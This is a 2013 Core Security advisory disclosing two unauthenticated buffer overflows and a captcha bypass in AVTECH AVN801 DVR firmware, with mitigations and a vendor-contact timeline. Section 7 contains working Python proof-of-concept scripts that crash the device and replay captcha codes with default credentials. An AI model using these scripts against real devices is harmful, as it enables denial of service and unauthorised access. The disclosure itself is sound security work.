Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

AVTECH DVR multiple vulnerabilities


1. *Advisory Information*

Title: AVTECH DVR multiple vulnerabilities
Advisory ID: CORE-2013-0726
Advisory URL:
http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: AVTECH Corporation
Release mode: User release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper
Access Control [CWE-284]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982


3. *Vulnerability Description*

Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and
potentially other devices sharing the affected firmware) that could
allow a remote attacker:

   1. [CVE-2013-4980] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.
   2. [CVE-2013-4981] To execute arbitrary code without authentication
by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a
specially crafted HTTP POST request.
   3. [CVE-2013-4982] To bypass the captcha of the administration login
console enabling several automated attack vectors.


4. *Vulnerable Packages*

   . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003.
   . Older versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

There was no official answer from AVTECH support team after several
attempts (see [Sec. 8]); contact vendor for further information. Some
mitigation actions may be:

   . Do not expose the DVR to internet unless absolutely necessary.
   . Have at least one proxy filtering the 'SETUP' parameter in RTSP
requests.
   . Have at least one proxy filtering the 'Network.SMTP.Receivers'
parameter in HTTP requests to '/cgi-bin/user/Config.cgi'.


6. *Credits*

[CVE-2013-4980] was discovered and researched by Anibal Sacco from Core
Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were
discovered and researched by Facundo Pantaleo from Core Security
Consulting Team.


7. *Technical Description / Proof of Concept Code*


7.1. *Buffer Overflow in RTSP Packet Handler*

[CVE-2013-4980] The following Python script sends a specially crafted
packet that triggers a buffer overrun condition when handling the RTSP
transaction; no authentication is required. As a result, the device
crashes and it could possibly lead to a remote code execution.

/-----
import socket

HOST = '192.168.1.1'
PORT = 554
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "SETUP
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS
RTSP/1.0\r\n"
trigger_pkt += "CSeq: 1\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media
v2010.02.10)\r\n\r\n"
print "[*] Sending trigger"
s.sendall(trigger_pkt)
data = s.recv(1024)
print '[*] Response:', repr(data), "\r\n"
s.close()
-----/


7.2. *Buffer Overflow in config.cgi Parameters*

[CVE-2013-4981] The following Python script exploits other buffer
overflow condition; no authentication is required. As a result, the
device crashes and it would possible lead to a remote code execution.


/-----
import httplib

ip = "192.168.1.1"
conn = httplib.HTTPConnection(ip)
conn.request("POST",
"/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1")
resp = conn.getresponse()
print resp.read()
-----/


7.3. *CAPTCHA Bypass*

[CVE-2013-4982] The following Python proof of concept sends a wrong
captcha in first place (just to verify that captcha protection is
enabled); then, it sends ten requests with an arbitrary hardcoded
captcha and its matching verification code. As a result, the captcha
protection can by completely bypassed.


/-----
import httplib

ip = "192.168.1.1"
print "Performing captcha replay with hardcoded wrong captcha code and
verify code..."
conn = httplib.HTTPConnection(ip)
conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc
HTTP/1.1")
resp = conn.getresponse()
print "Reading webpage..."
print resp.read()
print "Performing several captcha replays with hardcoded right captcha
code and verify code..."
for i in range(1, 10):
    conn = httplib.HTTPConnection(ip)
    conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc
HTTP/1.1")
    resp = conn.getresponse()
    print "Reading webpage..."
    print resp.read()

-----/


8. *Report Timeline*

. 2013-08-06:
Core Security Technologies attempts to contact vendor using the AVTECH
official technical support contact page [2]. No reply received.

. 2013-08-12:
Core attempts to contact vendor.

. 2013-08-20:
Core attempts to contact vendor.

. 2013-08-28:
After 3 attempts to contact vendor, the advisory CORE-2013-0726 is
released as 'user release'.


9. *References*

[1] http://www.avtech.com.tw.
[2]
http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en.



10. *About CoreLabs*

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with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
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11. *About Core Security Technologies*

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and demonstrate real-world exposures to their most critical assets. Our
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12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/.


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.